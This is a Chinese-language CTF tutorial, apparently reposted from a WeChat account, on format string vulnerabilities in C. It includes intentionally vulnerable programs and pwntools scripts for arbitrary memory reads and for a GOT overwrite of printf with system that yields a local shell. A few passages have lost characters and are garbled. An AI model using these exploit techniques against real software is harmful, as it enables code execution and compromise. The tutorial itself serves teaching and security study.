格式化字符串漏洞

admin 2024年5月18日03:40:10评论13 views字数 4575阅读15分15秒阅读模式
0x00 序

格式化字符串漏洞是CTF的PWN题目中经常拿来出题的漏洞,本文将从小白的角度介绍一些较入门的知识。

0x01 漏洞成因

险函数

理工专业的同学都学过C语言,C语言中的printf函数是字符串打印最常用的函数,其定义如下,相信大家也不陌生。

int printf(const char *format, [argument]);

printf中可以使用各种格式化字符,下表中列出了部分,其中%n在日常编码中并不常见,但是%n是利用格式化漏洞的关键,%n可以将前面字符串总长度值统计出来然后写入指定地址中。当然使用格式化字符串的函数还有很多,例如fprintf、sprintf、snprintf、vsprinf、vfprintf等。

字符 用途 传递
%d 十进制整数(int)
%x 十六进制数(unsigned int)
%s 字符串(char *) 引用指针
%c 字符(char)
%p 指针地址(&a)
%n %n前面字符串的长度(* int) 引用指针

小实验

我们用下面一段测试代码来说明

#include <stdio.h>

void main()
{
int total = 0;
int age = 18;
char *str = "Age is";
printf("%s %d %n %s %sn", str, age, &total);
printf("total length %dn", total);
}

这段代码中printf的前三位“%s %d %n”和“str, age, &total”都是一一对应的,但是后面我多添加了2个%s,后面没有参数可以对应输出。我们编译完成后执行这段代码,输出了如下图的内容,total是10,也就是“Age is 18 ”是长度是10都没有问题,但是红框圈出来的是一串乱码,这是由于我在代码多加的%s。因为printf在后方没有参数对应时会自动向后读取栈中内存指向的数据,这也就是格式化字符漏洞的基本成因。

从入门到放弃:格式化字符串漏洞

当程序员直接将用户输入的内容作为printf的format输出时,攻击者就可以直接控制format,如果精心构造了读取的内存地址那么会造成内存信息泄露,如果读取到了非法的内存地址则会造成程序崩溃(下图展示了在上述代码中添加了多个%s后程序运行后就崩溃了),或者攻击者覆盖了其他函数的入口则可能造成getshell。

从入门到放弃:格式化字符串漏洞

0x02 漏洞利用

任意地址读

我们首先来测试该漏洞的任意内存读取,在这之前我们需要知道C语言中的一个特性,如下图官方的说明,大概意思就是我们可以使用类似%id等方式来读取指定位置的内存指向的值。

从入门到放弃:格式化字符串漏洞

我们使用下面的一段存在漏洞的代码来进行测试

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

void main()
{
char buf[1024];

memset(buf, 0, sizeof(buf));

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

puts("input string:");
read(0, buf, sizeof(buf));
printf(buf);
printf("n");
}

我们编译执行后输入字符串“aaaa,%x,%x,%x,%x,%x,%x,%x,%x”,得到如下的输出,上面在漏洞成因中我们已经介绍过如果不按照一一对应的进行输出,printf将读取后续内存的内容。红框内标识出来的“61616161”的4个字节,0x61正好是“a”的十六进制,所以这里其实是字符串开始的地方

从入门到放弃:格式化字符串漏洞

我们用下面一张简单的示例图来说明,格式化字符串开始的位置是从第6个%x开始的

从入门到放弃:格式化字符串漏洞

从上面我们说的"x, 我们使用这个来进行尝试,输入“aaaa,%6$x",如下图和我们预期的一样输了字符串头。

从入门到放弃:格式化字符串漏洞

由此我们知道,如果要读取内存中的数据,只要把相应的数据地址写在对应位置上即可,下面我们来尝试读取该程序的文件头。

我们使用pwntools来进行读取,该工具是python写的专为CTF提供的库,其使用文档较多这里不详细讲,感兴趣的同学可以去从下面链接中学习 http://docs.pwntools.com/en/stable/

我们用下面的代码来实现读取

#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./format"

r = process(pwn_name)
r.recvuntil("input string:")

payload = 'a'*4 + '%7$s' + p64(0x00400000)

r.sendline(payload)
r.recvuntil("aaaa")
r.recv()

我们发送payload中"%7x”。

此次使用的系统为Kali 64位系统,所以我们需要用p64位打包,且文件存储地址从0x00400000开始,下面看一下运行结果。

从入门到放弃:格式化字符串漏洞

图中显示 %7$s对应的字符是含有 "ELF"字样的数据,这是ELF文件的标准头部,使用vim打开该程序来确认下

从入门到放弃:格式化字符串漏洞

至此我们使用该漏洞实现了读取内存的利用。从上述过程我们基本可以了解到,该漏洞的关键是要找到偏移量,也就是要确定上文中“%6$x"。而且pwntools工具中已经帮我们封装好了可以自动获取该偏移量的接口,FmtStr,这里不再做介绍,想继续了解的同学,可以通过上面提到的pwntools链接进行学习。

任意地址写

前面我们提到%n可以向某个引用地址写值,我们将尝试使用这一特性,并且利用下面的漏洞代码来尝试Getshell,不过这之前还有一些前置知识需要掌握。

#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>

void excute()
{
system("cat /etc/hostname");
}
void main()
{
char buf[1024];

memset(buf, 0, sizeof(buf));

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
excute();

while(1)
{
puts("input string:");
read(0, buf, sizeof(buf));
printf(buf);
printf("n");
}
}

GOT和PLT表

Linux程序运行时需要进行函数的动态链接,这里涉及到一个叫延迟绑定的技术,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。

GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

我们用gdb调试上面的程序,简单的说明下GOT与PLT工作过程。

gcc format.c -o format -no-pie
gdb ./format

在main函数下断点,单步执行到call puts函数的地方,下图中调用puts处有 puts@plt的跳转,查看0x401040处的指令显示,其第一步是跳转到0x404020,而后跳转到0x401046

从入门到放弃:格式化字符串漏洞

后续直到跳转到0x404010时,发现其跳转调用了 _dl_runtime_resolve_xsave 函数,该函数的用途就是对动态函数进行地址解析和重定位,最后把动态函数真实的地址写入到GOT表项中,然后执行函数并返回

从入门到放弃:格式化字符串漏洞

我们回过头来再次打印一开始的0x404020,其指向的已经是puts函数的真实地址了

从入门到放弃:格式化字符串漏洞

其解析过程如下图所示,在第二次再调用该函数时跳转到PLT -> GOT表,然后直接从GOT表中获取到函数真实地址,直接跳转到函数执行,不再解析。

从入门到放弃:格式化字符串漏洞

利用%n

前面已经提到了关于%n可以将值写入指定位置,例如%6n,即是把值写入栈中第六个位置。这里写的是4个字节,不过根据官方的定义还有很多种长度写入方式。

从入门到放弃:格式化字符串漏洞

与本次的格式化漏洞相关的部分就是下面示例的意思,下文中的代码中将会用到 %8$lln,翻译过来就是向栈中第8个参数的位置指针指向的地址写入8个字节

%{}$n          // 解引用,写入四个字节
%{}$hn         // 解引用,写入两个字节
%{}$hhn       // 解引用,写入一个字节
%{}$lln       // 解引用,写入八个字节

Getshell

有了上面的知识铺垫,我们利用pwntools的库来尝试getshell。

首先我们的思想是修改printf 函数的got表,把他修改为system的plt值,这样当程序再次执行到printf时,程序会向system函数进行解析,这是我们输入“/bin/sh”,即可getshell。

#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./format"
r = process(pwn_name)
e = ELF(pwn_name)

#获取printf的got地址、system的plt地址
printf_got = e.got['printf']
system_plt= e.plt["system"]
#计算system的plt地址字符长度
addr_len=len(str(system_plt))
#将前面的长度值写入栈中的第八个参数中引用的地址,这里就是把system_plt值大小的长度写入printf got指针指向的位置#这里用8-addr_len是为了保证p64(printf_got) 写入时是8个字节对齐的,而a就是为了补全8个字节数的
payload='a'*(8-addr_len)+'%'+str(system_plt-(8-addr_len))+'c'+"%8$lln"+p64(printf_got)

r.send(payload)
r.recv()
#此时printf的got地址已经被payload修改,输入system的参数"/bin/sh" getshell
r.sendline("/bin/sh")
r.interactive()

我们运行上面的代码看结果,下图显示getshell成功,可以执行命令了。同时我们在第一步发送payload后,发现recv到大量刷屏的数据,这是因为前面的代码中的 '%'+str(system_plt-(8-addr_len))+'c' 是数量相当庞大的长度,当时我这样写不是最好的方法,最好的方法是逐个字节修改,而不是我这样暴力的直接将值确定下来,然后8个字节一起写入。

从入门到放弃:格式化字符串漏洞

0x03 总结

本文利用的格式化注入漏洞简化了很多复杂的过程,包括编译时禁用了很多保护选项,格式化注入漏洞还有更多精妙和复杂的利用方法,值得我们去探索。尽管该漏洞在实际应用中已经不多见,但是通过该漏洞,对于学习和理解计算机原理,内存分布、程序运行过程还是非常有帮助,因为对于该漏洞的理解还是需要很多前置知识点的,希望本文粗浅的实验了格式化漏洞的过程对大家有帮助,如有错误欢迎指正。

从入门到放弃:格式化字符串漏洞

原文始发于微信公众号(Lambda小队):从入门到放弃:格式化字符串漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日03:40:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   格式化字符串漏洞https://cn-sec.com/archives/2044658.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息